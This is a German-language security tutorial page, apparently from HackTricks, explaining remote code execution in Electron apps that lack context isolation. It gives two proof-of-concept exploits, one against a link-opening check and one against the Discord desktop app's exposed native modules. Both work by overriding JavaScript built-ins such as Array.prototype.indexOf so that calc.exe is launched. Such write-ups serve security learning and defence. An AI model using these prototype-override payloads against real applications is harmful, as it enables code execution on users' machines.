6.2 KiB
Electron contextIsolation RCE über Preload-Code
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Beispiel 1
Beispiel von https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
Dieser Code öffnet http(s)-Links mit dem Standardbrowser:
Etwas wie file:///C:/Windows/systemd32/calc.exe
könnte verwendet werden, um den Taschenrechner auszuführen. Das SAFE_PROTOCOLS.indexOf
verhindert dies.
Daher könnte ein Angreifer diesen JS-Code über XSS oder willkürliche Seiten-Navigation einschleusen:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
Da der Aufruf von SAFE_PROTOCOLS.indexOf
immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den Taschenrechner ausführen. Endgültiger Exploit:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Überprüfen Sie die Originalfolien für andere Möglichkeiten, Programme auszuführen, ohne dass eine Berechtigungsabfrage angezeigt wird.
Anscheinend gibt es eine andere Möglichkeit, Code zu laden und auszuführen, indem man auf etwas wie file://127.0.0.1/electron/rce.jar
zugreift.
Beispiel 2: Discord App RCE
Beispiel von https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Beim Überprüfen der Preload-Skripte habe ich festgestellt, dass Discord die Funktion freigibt, mit der einige erlaubte Module über DiscordNative.nativeModules.requireModule('MODULE-NAME')
aufgerufen werden können, in der Webseite.
Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das Modul child_process, aber ich habe einen Code gefunden, mit dem RCE erreicht werden kann, indem die JavaScript-internen Methoden überschrieben und in die Ausführung des freigegebenen Moduls eingegriffen wird.
Hier ist der PoC. Ich konnte bestätigen, dass die Anwendung calc angezeigt wird, wenn ich die Funktion getGPUDriverVersions
aufrufe, die im Modul "discord_utils" definiert ist, während ich RegExp.prototype.test
und Array.prototype.join
überschreibe.
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
Die Funktion getGPUDriverVersions
versucht, das Programm mithilfe der "execa"-Bibliothek auszuführen, wie folgt:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Normalerweise versucht execa, "nvidia-smi.exe" auszuführen, das in der Variablen nvidiaSmiPath
angegeben ist. Aufgrund der überschriebenen RegExp.prototype.test
und Array.prototype.join
wird jedoch das Argument in der internen Verarbeitung von _execa durch "calc" ersetzt.
Konkret wird das Argument durch Änderung der folgenden beiden Teile ersetzt.
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.